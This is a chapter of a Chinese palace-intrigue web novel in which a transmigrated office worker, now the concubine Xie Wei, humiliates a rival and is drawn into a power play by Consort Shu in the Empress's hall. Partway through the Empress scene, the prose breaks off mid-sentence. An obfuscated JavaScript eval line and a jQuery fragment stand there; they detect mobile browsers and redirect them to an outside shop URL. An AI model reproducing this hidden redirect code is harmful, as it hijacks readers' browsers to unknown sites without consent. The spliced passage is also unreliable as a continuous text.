有昭一朝,将初选入京、暂未册定名分的良家女子,称为“淑女”,所谓“窈窕淑女,君子好逑”者也。
淑女进宫那一天,鹅毛大雪纷纷扬扬,女孩儿们的容颜藏在藕粉色斗篷里,如同一簇簇小小的娇花,淹没在满天白雪当中。
郑妙庄就是这些女孩儿中的翘楚。
出身且不提,生根发芽在京师的端正小姐,其父是太平元年的孝廉,今已升任六部员外郎。
更别提,她是西宫娘娘温氏的表亲,预教于撷芳殿时,一口一个脆生生的表姐,声音清亮,叫得掌事姑姑心软不已,叫得众淑女艳羡不已。
一个月后,妙庄被封为美人,赐居钟粹宫,不是鸡头,也不是凤尾,不高不低的位置,女孩儿们的艳羡到此为止。
钟粹宫的地界不算差,平日里晨省昏定,步至坤宁宫,约莫一盏茶上下,若蒙恩承幸,得以侍奉御前,更不消盏茶功夫。
端坐后殿之人并非正儿八经的主位娘娘,乃是奉命代掌的昭仪叶氏,名唤允娴,她身前围了三个女孩,兼上妙庄,钟粹宫的人头便算点齐了。
上头娘娘们的赏赐早已下来,允娴命她们自取去,女孩儿们你瞧瞧我的,我瞧瞧你的,嬉笑一团。
允娴尤为喜爱自己腕上这只碧水镯儿,她向众人介绍:“水头这么好的翡翠,难得一见,还是中宫娘娘大度。”
妙庄不以为然,她看上了一对点翠海棠蝶纹头花,欲从那人手里取来:“这个好,我要这个。”
蝴蝶微微振翅,头花底下的银簪却分毫不动,分明是有人紧攥着。
撷芳殿要风得风、要雨得雨的妙庄,初出茅庐便折了锐气,霎时冷下脸来。
“你想要?”那人适才回身,对妙庄微微一笑,似乎想要给她。
妙庄心下一喜,料想此女不过如此,便挽袖悬掌,直待她拱手相送。
女子送着,半道儿撒手撂去地上,头花上翠蝶摔出一只,滚了浑身泥尘,恰烂在妙庄脚边。
“你!”妙庄低头一瞧,柳眉倒竖,自是又羞又恼,“你大胆,我表姐是当今淑妃,竟敢如此羞辱于我!”
这女子正是婕妤谢氏,躯壳没改,里子却换了人。
昨儿夜里一道霹雳,惊醒了加班猝死的社畜谢微,她两眼一抹黑,又昏睡了过去。
翌日清早,宫女将之唤醒,她才意识到自己穿越了。
她花了半个时辰、两个巴掌和一记掐脸,让自己接受了现实。
如是谢婕妤本尊在此,万不敢轻易开罪郑氏。
可谢微何许人也?
她是穿越大军里的新兵蛋子,初生牛犊不怕虎,便断不肯受这窝囊气,甚至还有些跃跃欲试。
她故意摔给郑美人看,随之细眉微蹙,抱歉的模样扮了个十成十,一面诉说着歉意,一面叫珊瑚捡起,拍了拍头花上的灰尘,又递与郑美人,大度道:“妹妹消消气,还能用呢,想要就拿去吧!”
不带半点儿嘲笑之意,却胜似嘲笑。
俗话说佛靠金装,人靠衣装,这宫里尤其是,若穿戴一身敝旧,仍不知羞,那便是自个儿轻践自个儿了。
郑美人究竟年纪轻,才不过十五上下的年岁,脸皮子薄,立刻气得拂手打掉,嘴唇蠕动了半晌,方说出话来:“你,你给我记着!”
叶昭仪拽了拽谢微的袖角,神色里含着些无可奈何,目光柔和如水,眼底并无一丝怪罪,如同教导不知事的小妹般循循善诱。
“木秀于林,风必摧之。宫中以和为贵,妹妹以后处事,要三思而后行。”
她点了点头,微微垂下眼皮,俨然知过。
徐婕妤见状扑哧一笑,略上前一步,环住二人的手,就事论事道:“并非谢姐姐的错啦,那郑氏挑衅在先,自食其果。”
叶昭仪几不可闻地叹了一口气,眉心不自觉皱了起来:“我只忧心她请动淑妃,温娘娘怪罪下来,得不偿失。”
初来乍到,情况未明,便肆意行动,实乃大忌。
谢微诚然轻率了。
“倘若淑妃怪罪,我必一力担之,不叫昭仪难办。”她掷地有声地承诺。
叶昭仪听了这话,不知是喜是嗔,摇头一笑,眼底还有几分未消的无奈。
“回去歇着吧,养足精神,明儿还要到坤宁宫听训。”
*
几人各自回了屋,她遂开始慢慢打量起配殿,此处共三进,甫一进门,便是当心间,又叫做明间,多做待客之用。
打眼一瞧,案上摆一只花瓶,插着两支时兴的九萼梅,案后架一座屏风,屏后窄道,墙里凿除一扇中心通透的圆窗,照得屏上天光地暗,雅而不俗。
踱步绕过了墙,还有方寸天地,参差地错植几杆翠竹,竹影斑驳于粉墙,亦与屏上墨山秀水交辉。
左右两个次间,向东以百宝阁拦断,其上半纳半空,摆着各色文玩,再往远看,便是规矩齐整的案几炕椅,笔墨纸砚,像个书房。
而向西观,花罩横飞,落下两道垂帘。挽起帘子,两处小几,一台妆镜,拔步床稳坐最深处,当是卧室无疑。
谢微坐在陌生的当心间里,虽无半点原主记忆,却波澜不惊,松弛地倚在刻有松柏长青的椅背,漫不经心地问着话。
珊瑚颇有些不明所以,仍问什么答什么,无一处隐瞒,无半句置喙。
“大昭皇帝年少继位,彼时主幼国疑,薛后垂帘佐治,及今上年岁稍长,朝中肱骨多请太后退座慈宁宫。”
“然四年前,今上病来如山倒,自此亏空身体,落下顽疾劣根,不时缠绵病榻,退座之谈不了了之。”
……
珊瑚交代完,又依吩咐,行敛衽肃拜礼,只见她右手在上,双手交叠收于腹前,腰身微躬,只是轻轻屈膝,没有深蹲,片刻后便又直身。
“嫔妃之间日常见礼,切不可直视尊者,需垂眸低首,否则以不敬论处。”
谢微颔首,俱已记下,命她去取妆奁来,从中挑了一股垂珠芙蓉钗,虚虚地比在她的鬓边,笑了笑道:“这钗精巧而不华美,很衬你。”
珊瑚便很会意,略微低首,容她缓缓横插鬓中。
配殿的众人遂眼见,前来传令的大宫女珊瑚鬓首珍珠摇曳,形容有致。
谢微仍是懒洋洋地坐在圈椅里,眼皮子半掀,她要训的话不多,仅有两句:
“第一,我不犯人。”
人不犯我,我不犯人,人若犯我,我必犯人。
“第二,我不负人。”
人不负我,我不负人。
否则宁教我负天下人,休教天下人负我。
众人面面相觑了一会儿,最终齐齐称是,她略一摆手,皆都如鱼散去。
前西配殿的近侍宫女以珠玉宝石之器为名,拢共四个,除珊瑚外,便余翡翠、珍珠、琉璃。
翡翠人如其名,璞玉浑金,说好听点是未经琢炼,说不好听的,便是忠实有余,内秀不足。
她快步到廊庑下,拽住珊瑚的手,懵懵然道:“主儿怎么只说两句话,加起来不过八字,岂不是难为了我们猜来猜去么?”
珊瑚当头赏了她额心一记,好笑道:“你以为人人都和你一般,这八字虽短,却都是耳闻能详的俗语。”
翡翠听了珊瑚解释,方恍然大悟,“咱们娘娘还是个有才气的呢!”
珊瑚失笑,她摸了摸发髻上的芙蓉簪,玉质通透,触手生温,心想,可不止有才气。
不多时,近了晚膳时分,宫女们行止克谨,规矩不错分毫,谢微受了她们侍奉,吃饱喝足,意闲地坐在炕上,寻常吩咐道:
“今后不必用玉箸,改成银碗银筷。”
宫斗戏里最常见的下三滥招数,便是使毒。
虽说害人之心不可有,但防人之心不可无,行事谨慎些,总不妨碍。
一夜无梦。
*
天儿还没亮,谢微便被珊瑚叫起,理妆更衣,往门外去了。
叶允娴的四抬小轿已侯在钟粹宫的门庭外,同宫的婕妤徐小鸾、美人郑妙庄、贵人刘颂芳三人,不到足以乘坐轿辇的位分,跟在昭仪的青轿外亦步亦趋。
几个人精神头不错,只有谢微像条霜打了的茄子,焉了吧唧的。
“谢婕妤,还在为昨儿的事烦心呢?”
刘颂芳颇有些担心谢氏心绪不宁,皆是在中宫殿前,犯下什么糊涂事来,这会儿悄没声儿地挨近了,低声问话。
谢微摇了摇头,盖因上辈子一贯是太阳不起我不起的秉性,今儿一改从前,还没缓过神来。
刘颂芳却以为她逞强,安抚她道:“沈娘娘和柳娘娘皆不喜宫内倾轧,淑妃不会当众发对你发难的,大可放心。”
谢微觉着兵来将挡,水来土掩,并未对郑氏之事耿耿于怀,仍感激于眼前人的好意,回应似地握了一握她的手,提起精神道:“我无事,多谢你。”
坤宁宫装潢庄重典雅,拜见请安的嫔妃礼罢入座。
皇后沈芙一身雅重的绛紫色珠绣牡丹衣,也压不住脸庞的稚气,浑似个凤位上的玉娃人偶。
她素不喜这般肃穆的场面,当众揽着一只通体雪白的狸奴,有一下没一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772328|209927||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下地抚摸着,简直是明晃晃地告诉堂下,在她眼里,众人皆不如一畜牲耳。
可她是薛老娘娘的亲侄女儿,凤位稳如泰山,无人敢非议什么,就算有不满,也得憋在心里。
皇后见众人齐至,启口讲了些规矩、本分的场面话,皆是尚宫崔慈所授,陈腔滥调,并无新词,不过是昨儿从崔慈嘴里出来,今儿又到了她学舌。
“听闻昨天钟粹宫里出了点趣事儿。”
皇后之下,贵妃柳清漪与淑妃温静姝对坐,说话者正是银盘脸蛋的淑妃。
贵妃淡淡瞧她一眼,便转开了视线,形容冷淡,如高山之雪,目下无尘。
“哪位是谢婕妤?”
谢微已有所料,觑了一眼居后的郑美人,果然见之面有得色,她收回目光,不卑不亢地起身,朝淑妃敛衽肃拜,右掌叠于上,垂目低首,轻轻屈膝,礼数分毫不差。
“嫔妾钟粹宫婕妤谢氏,见过淑妃。”
都以为淑妃要替她表妹出头,可她柔柔一笑,明眸善睐,让人顿生亲近之感:“妙庄顶撞了你,我替她跟你道个不是,她孩子心性,你别放在心上。”
淑妃不是什么迂腐死板的胶柱之人,非要罚谢婕妤一顿才解气。
若以淑妃之尊威逼,谢氏是否屈从另说,落在旁人眼里,免不了有以大欺小之嫌。
而今以退为进,既赚了宽和大度的名声,又教谢氏不得不捏着鼻子吃下这桩哑巴亏,何乐而不为?
话说到这份儿上,谢微只能口称不敢,她缓缓坐回玫瑰圈椅,心里纳罕,竟如此风平浪静地过去了。
“谢婕妤理当嘉奖,不过……”淑妃神色不改,仍是微笑,话锋却一转,“叶昭仪御下无能,令两殿龃龉,罚俸半年。”
谢微听了这话,立刻坐直了身子。
好一招崇彼黜此、捧一踩一的把式!
处罚不相干的叶昭仪,惹出事端的谢婕妤却置身事外,岂非让叶氏无故代之受过,寻常人哪里咽得下这口气,自然心生怨怼,如此一来,便是一招兵不血刃的离间计。
上首的皇后蛾眉微蹙,她善待后妃,但凡求到中宫殿前,只要无伤大雅,俱都应承,是以她不知个中关窍,仅是本性纯良,觉着昭仪并非大过,温氏此罚失当。
她微微抬眼,带着点儿疑惑道:“嫔妃口角相争之事,屡见不鲜,这样罚她,是否太重了呢?”
皇后生性疏懒,只关心膳房的吃食,团子的去向,并不着意中馈之事,太后为这个不中用的侄女儿好一阵头疼,崔尚宫苦口婆心,三劝四劝,也没能叫皇后回心转意。
太后无法,便命由二妃协理,可这柳贵妃比起皇后,更是有过之而无不及,一心扑在皇帝身上,两耳不闻窗外事。
一来二去的,贵妃空有协理之名,却无协理之实,皇后呢,只要等着淑妃裁断完宫务,遣送坤宁宫,她再命女官加盖宝印便可。
沈芙无需勤恳,无需智谋,皇后的宝座,生来便属于她。
她不是一点儿也不肯上心,有时兴之所至,便觉她可谓一窍不通,而淑妃处事周到,大权独揽,并无旁人置喙的余地。
沈芙便索然放手,随她去了。
是以当下,纵使温氏听出皇后有说项的意思,亦坦然相拒:“哪里过重。娘娘不经手宫务,不知道无规矩不成方圆,正好可借这半年罚俸,以儆效尤。”
皇后闻言,仅仅是意兴阑珊地低下脸,摸着团子光滑的皮毛,才让心中那点似是而非的不快散去。
还是贤嫔看不过眼,清凌凌地呵笑了一声:“不知道的,还以为这宫里是淑妃当家做主呢。”
贤嫔汪媛出身镇北大将军府,军部要臣之女,功勋卓著,论起家世底气,分毫不低于温氏。
旁人都避淑妃锋芒,汪媛不虚她。
三不五时的,放一枪冷箭,呛两句忿言。
淑妃习惯了汪媛的明枪暗箭,挑了挑眉头,四两拨千斤道:“汪妹妹还未升至妃位,自然不知当家柴米贵,若是贤妃找我论道,我不吝赐教,贤嫔么,”
还不够格。
她款款一笑,没有再说,只转头和皇后道:“中宫慈下,是嫔妾们的福气。以我之见,不如罚俸减半,以彰殿下仁德。”
贤嫔掠她一目,还欲辩驳。
却见叶昭仪兀自起身,屈膝道:“嫔妾知错,多谢娘娘宽仁。”
言如刀,眼如锋,叶允娴不愿初次拜会,便夹在刀锋剑影之间,她宁肯自己挨过。
她告罪间,门庭处光影浮动,通禀声递进来:
“万岁爷到!”